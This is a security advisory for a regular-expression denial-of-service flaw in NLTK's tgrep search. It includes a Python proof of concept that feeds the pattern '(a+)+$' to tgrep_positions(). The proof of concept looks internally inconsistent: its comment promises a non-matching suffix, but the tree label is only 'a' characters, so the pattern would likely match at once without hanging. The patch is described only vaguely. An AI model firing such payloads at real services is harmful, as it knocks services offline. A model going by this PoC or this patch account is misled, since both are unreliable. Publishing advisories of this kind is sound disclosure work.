high · 5.9Sep 2, 2026

CVE-2026-80206: nltk tgrep ReDoS via User-Supplied Regex

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Passing a crafted tgrep pattern to NLTK's tree-search functions lets an attacker embed a pathological regular expression that pins the Python process at 100% CPU indefinitely.

Packagenltk
Ecosystempip
Affected<= 3.10.2
CVE-2026-80206: nltk tgrep ReDoS via User-Supplied Regex

The problem

The _tgrep_node_action function in nltk/tgrep.py accepts tgrep patterns that include inline regex nodes written as /regex/. It calls re.compile() directly on the user-supplied string, then runs re.search() against every tree-node label with no timeout and no input validation.

Any caller that forwards external input to tgrep_positions(), tgrep_nodes(), or tgrep_compile() is reachable. A single crafted pattern is enough to block the Python interpreter indefinitely, causing a denial of service for the duration of the match attempt.

Proof of concept

A working proof-of-concept for this issue in nltk, with the exact payload below.

python
import nltk
from nltk.tree import ParentedTree
from nltk.tgrep import tgrep_positions

# Build a tree whose node label is a long string of 'a's
# The /regex/ tgrep node embeds a catastrophic-backtracking pattern.
tree = ParentedTree.fromstring(
    '(' + 'a' * 5000 + ' (NN dog))'
)

# Attacker-controlled tgrep pattern with /catastrophic-regex/ node.
# (a+)+ against a non-matching suffix triggers exponential backtracking.
malicious_pattern = '/(a+)+$/'

# This call will hang the process.
result = tgrep_positions(tree, malicious_pattern)

The tgrep /regex/ node syntax is parsed by pyparsing and the extracted regex string is handed verbatim to re.compile(). Python's re module uses a backtracking NFA engine with no timeout, so a pattern like (a+)+$ against a long non-matching string causes exponential backtracking (CWE-1333).

The patch in 3.10.3 adds a bounded execution guard, either wrapping the re.search() call with a signal-based or thread-based timeout, or replacing it with the third-party regex module (which accepts a timeout argument). Either approach stops catastrophic backtracking from consuming unbounded CPU.

The fix

Upgrade to nltk >= 3.10.3, released 2026-08-12. If an immediate upgrade is not possible, sanitize or reject any external input before it reaches tgrep_positions(), tgrep_nodes(), or tgrep_compile(); do not expose these functions to untrusted patterns.

Reporter not attributed.

References: [1][2][3][4]

Related research